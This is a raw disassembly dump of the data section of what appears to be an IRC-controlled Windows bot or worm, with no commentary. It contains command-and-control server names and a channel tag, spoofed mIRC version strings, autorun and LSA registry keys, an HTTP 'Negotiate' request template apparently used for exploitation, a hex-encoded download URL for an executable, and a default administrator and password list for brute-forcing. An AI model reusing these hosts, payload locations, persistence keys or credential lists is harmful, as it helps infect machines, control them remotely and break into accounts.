dd 25C0000h, 25D0000h, 25E0000h, 25E06EEh, 25F0000h, 25F0C0Ah
dd 2600000h, 2600531h, 2600591h, 2610000h, 261075Eh, 2610D9Bh
dd 2620000h, 262080Eh, 26209DFh
dword_42703C dd 26209FEh ; DATA XREF: ___:004231D9r
dd 2620A4Fh, 2620C4Fh, 2620CA8h, 2630000h, 2640000h, 2650000h
dd 2660000h, 2660353h, 26608FCh, 77E75CB5h
dword_427068 dd 2660919h ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
dd 2660C3Bh, 2670000h, 2670A78h
dword_427078 dd 2680000h ; DATA XREF: sub_40111D+29r
; sub_401ACD+318Cr ...
dword_42707C dd 2680098h ; DATA XREF: ___:004015E2r
; sub_410CD6+32r
dd 26802D9h
dword_427084 dd 26803B1h ; DATA XREF: sub_4196BD+B9r
dd 2680A54h
dword_42708C dd 2680ABEh ; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090 dd 2680B22h ; DATA XREF: ___:loc_4013DCr
dd 2680E1Fh, 2690000h
dword_42709C dd 2690126h ; DATA XREF: sub_409B13+2r
dd 2690295h, 2690329h
dword_4270A8 dd 2690AA5h ; DATA XREF: ___:0040124Dr
; sub_41A4D2+8Cr
dword_4270AC dd 2690B5Dh ; DATA XREF: sub_410CD6:loc_410DC2r
dd 26A0000h, 26A0A6Ch
dword_4270B8 dd 26A0B0Dh ; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC dd 26B0000h ; DATA XREF: sub_409B13+11r
; sub_416F1B+60r ...
dd 26C0000h, 26D0000h, 26D066Bh, 26E0000h, 77F7E300h, 77F7E21Fh
dd 26E0513h, 26E069Dh, 26F0000h, 26F08ADh
dword_4270E8 dd 2700000h ; DATA XREF: sub_410FF9+Br
dword_4270EC dd 27009D7h ; DATA XREF: sub_418294+36r
dd 2700D13h, 2710000h
dword_4270F8 dd 271066Fh ; DATA XREF: sub_410F20+3Ar
; sub_419C65+79r
dword_4270FC dd 2720000h ; DATA XREF: sub_410E27+23r
; sub_419C65+3Br
dd 2721327h, 2730000h, 27309A1h, 2740000h, 274085Fh, 2750000h
dd 27503ADh, 2760000h, 2770000h, 277034Eh, 2770449h, 2770584h
dd 2780000h, 2780378h, 278079Dh
dword_42713C dd 278097Dh ; DATA XREF: sub_416F1B+BCr
dd 2790000h
dword_427144 dd 27A0000h ; DATA XREF: sub_4170ED+21r
; sub_417276+4Ar
dword_427148 dd 27A0BE2h ; DATA XREF: sub_4170ED+10r
; sub_417276+40r ...
dd 27A0C56h
dword_427150 dd 27B0000h ; DATA XREF: sub_417276+56r
dd 27B02D9h, 27C0000h, 27D0000h, 27D06C5h, 27E0000h, 27E0371h
dd 27E052Fh, 27F0000h, 27F0757h, 2800000h
dword_42717C dd 280105Fh ; DATA XREF: sub_418B59+13r
; ___:0042324Er ...
dword_427180 dd 2810000h ; DATA XREF: sub_418C2B+Fr
; sub_41D834+54r ...
dd 2820000h, 2820451h, 282086Bh, 2820C73h, 2830000h, 2840000h
dd 2850000h, 2860000h, 2870000h, 2880000h, 2881ADAh, 2881B04h
dd 2890000h, 2890D27h, 28A0000h
dword_4271C0 dd 28A051Fh ; DATA XREF: sub_41DEA2+240r
dword_4271C4 dd 28A065Ah ; DATA XREF: sub_41E976:loc_41E9A7r
dd 28A083Eh, 28B0000h, 28B06A9h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412661+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
dd 71AB1746h, 71AB3E5Dh
dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE3+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 0
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638 dd 2Eh ; DATA XREF: sub_401ACD+347Do
; sub_401ACD+356Do ...
dword_42763C dd 2Eh ; DATA XREF: sub_401ACD+389Do
; sub_401ACD+38D3o ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D031+2Fr
dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D031+15r
dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D07D+16Fr
; sub_40D4B1r ...
align 8
dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D07D+79r
dword_4276A0 dd 0 ; DATA XREF: sub_40D21F+4Do
; sub_40D561+5Bo ...
flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040DD34r
dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:004166B7r
; ___:004166D2r ...
dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417ADE+3E5r
dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417ADE+3C5r
dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417ADE+342r
; sub_417ADE+3A7r
dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417ADE+271r
dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417ADE+24Br
; sub_417ADE+2D5r ...
dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417ADE+E1r
dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417ADE+AEr
; sub_417ADE+138r ...
dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417ADE+93r
; sub_417ADE+308r
dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417ADE+21r
dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418685+2Br
flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A4D2+1B0r
flt_427704 dd 8.0 ; DATA XREF: sub_41A4D2+1AAr
flt_427708 dd 0.0 ; DATA XREF: sub_41A4D2+171r
flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A4D2+168r
dbl_427710 dq 1.0 ; DATA XREF: sub_41C679+6Cr
; sub_41C7BF+6Cr ...
dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
align 4
byte_427754 db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43CBF4o
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43CBF0o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43CE6Co
dbl_427878 dq 0.0 ; DATA XREF: sub_42135F+8Cr
; sub_42135F+ACr ...
dbl_427880 dq 4.195835e6 ; DATA XREF: sub_421874+Fr
dbl_427888 dq 3.145727e6 ; DATA XREF: sub_421874+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o
align 10h
dword_4278C0 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o
dword_4278D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o
dd offset loc_42224A
align 10h
dd offset sub_422228
dd offset sub_422232
dword_4278E8 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o
dword_4278F8 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o
dd offset loc_4225AD
align 8
dd offset loc_422599
dd offset loc_42259D
dword_427920 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o
dd offset loc_422603
align 10h
dd offset loc_4225EF
dd offset loc_4225F3
dword_427938 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o
; sub_423CEC+39o ...
dword_427940 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
; DATA XREF: sub_422ACA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D03Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
align 4
asc_427C08 db 0Ah ; DATA XREF: sub_4235C9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
align 8
dword_427C48 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo
align 4
dword_427CE8 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
; DATA XREF: sub_425F03+5o
dd 427E24h
off_427D04 dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o
; sub_4264FE+2Co ...
dd offset sub_4264D5
dd offset sub_4266F6
dd offset dword_427E70
off_427D14 dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao
; sub_426568o ...
dd offset sub_4264D5
dd offset loc_426732
dword_427D20 dd 0 ; DATA XREF: sub_4264FE+16o
; sub_4265D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o
dd offset dword_427EBC
off_427D40 dd offset sub_42665B ; DATA XREF: sub_426677o
; sub_42669A+37o ...
dd offset sub_4264D5
dd offset loc_426714
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o
dd offset dword_427F00
off_427D60 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o
; ___:off_43D764o ...
dd offset dword_427F30
off_427D68 dd offset loc_426813 ; DATA XREF: sub_42682F+8o
; sub_42686C+8o ...
dd offset sub_4268CC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
align 8
dword_427D88 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo
dd 3, 19930520h, 2 dup(0)
dword_427DA8 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
; DATA XREF: sub_426988+5o
dword_427DC0 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
; DATA XREF: sub_426C13+5o
dd 43D764h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DF0 dd offset off_43D77C ; DATA XREF: ___:00427E08o
; ___:00427E54o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427E10 dd 3 dup(0) ; DATA XREF: ___:00427E34o
dd 2, 427E08h, 3 dup(0)
dd offset off_43D77C
dd offset dword_427E10+4
off_427E38 dd offset off_43D79C ; DATA XREF: ___:00427E50o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E38
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427E5C dd 3 dup(0) ; DATA XREF: ___:00427E80o
dd 3, 427E50h
dword_427E70 dd 3 dup(0) ; DATA XREF: ___:00427D10o
dd offset off_43D79C
dd offset dword_427E5C+4
off_427E84 dd offset off_43D7BC ; DATA XREF: ___:00427E9Co
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E84
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427EA8 dd 3 dup(0) ; DATA XREF: ___:00427ECCo
dd 3, 427E9Ch
dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427D3Co
dd offset off_43D7BC
dd offset dword_427EA8+4
off_427ED0 dd offset off_43D7E0 ; DATA XREF: ___:00427EE8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427ED0
dword_427EEC dd 3 dup(0) ; DATA XREF: ___:00427F10o
dd 1, 427EE8h
dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D5Co
dd offset off_43D7E0
dd offset dword_427EEC+4
dd offset dword_427DC0+18h
dword_427F18 dd 4 dup(0) ; DATA XREF: ___:00427F40o
dd 1, 427F14h
dword_427F30 dd 3 dup(0) ; DATA XREF: ___:00427D64o
dd offset off_43D764
dd offset dword_427F18+8
align 8
dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o
dd 0FFFFFFFFh, 426DE0h, 0
dd offset sub_426DD8
dword_427F78 dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF: ___:loc_426E14o
dd 0FFFFFFFFh, 426E04h, 0
dd offset loc_426E0C
dword_427FA8 dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3 dup(0) ; DATA XREF: ___:loc_426E20o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FF0h, 4 dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0D7h, 40h, 0
dd 0FFFFFFFFh, 426E2Ah
dword_428008 dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF: ___:loc_426E32o
dd offset off_43D764
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 42686Ch, 0
dd offset off_43D77C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426618h, 0
dd offset off_43D79C
align 8
dd 0FFFFFFFFh, 0
dword_428070 dd 1Ch, 426682h, 3, 42805Ch, 428040h, 428024h ; DATA XREF: ___:00428094o
dword_428088 dd 0 ; DATA XREF: sub_426573+2Eo
; sub_4266F6+4Bo
dd offset sub_426568
dd 0
dd offset dword_428070+8
dd 0FFFFFFFFh, 426E3Ch
dword_4280A0 dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF: ___:loc_426E44o
dd 0FFFFFFFFh, 426E4Eh
dword_4280C4 dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF: ___:loc_426E56o
dd 0FFFFFFFFh, 426E60h
dword_4280E8 dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF: ___:loc_426E68o
dd offset off_43D7BC
align 10h
dd 0FFFFFFFFh, 0
dword_428118 dd 1Ch, 4266DEh, 3, 428104h, 428040h, 428024h ; DATA XREF: ___:0042813Co
dword_428130 dd 0 ; DATA XREF: sub_42669A+2Eo
; sub_4266F6+2Do
dd offset sub_426677
dd 0
dd offset dword_428118+8
dd 0FFFFFFFFh, 426E72h
dword_428148 dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao
dword_428164 dd 2, 428040h, 428024h ; DATA XREF: ___:0042817Co
dword_428170 dd 0 ; DATA XREF: sub_4266F6+Fo
dd offset sub_4264BA
dd 0
dd offset dword_428164
dd 5 dup(1B08B482h), 5 dup(39E99AE5h), 5 dup(4A6DC14h)
dd 7Ah dup(0)
dd 4A6DC14h, 0
dd 1B08B482h, 15h dup(0)
dd 39E99AE5h, 2FEh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o
dd offset loc_401205
dd offset sub_40D879
dd offset sub_40D89B
dd offset dword_40E504+1D0h
dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo
dword_429018 dd 0 ; DATA XREF: ___:0041B794o
dd offset sub_41D052
dd offset sub_42026D
dd offset sub_423936
dd offset word_424752
dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo
dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o
dd offset sub_4239DB
dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o
dd offset byte_424763
dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078 dd 45h ; DATA XREF: sub_401ACD+2089r
; sub_40BACE+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C44r
; sub_40BACE:loc_40BEBFr
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DD0r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Fr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_41835A+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r
; sub_401ACD+B4Cr ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40ACB6+3Ar
; sub_40ACB6+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aQsfpo db 'qsfpo',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_4044A1o ...
align 4
aAbosel7Vs db 'abosel7 vs',0 ; DATA XREF: sub_401ACD:loc_404946o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDCo
; sub_401ACD+7EABo
align 10h
aSaber4_ircqfor db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
align 4
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 10h
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E8 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 4
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_42910C db 75h ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 70h, 64h, 65h
dd 6E697774h, 78652E64h, 65h
dword_42911C dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindsSerscAgts db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo
align 4
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F27o
align 4
aF db '#f',0 ; DATA XREF: sub_401ACD+1D46o
; sub_401ACD+3040o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A3o
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C5o
; sub_401ACD+4217o
align 10h
off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FCo
; "*@admin.com"
off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
; sub_401ACD+7E4Bo
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
; sub_41A19E+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
; sub_41A19E+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h
dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh
dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h
dd 4298A0h, 429898h, 429894h, 0
dd offset dword_43D808
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
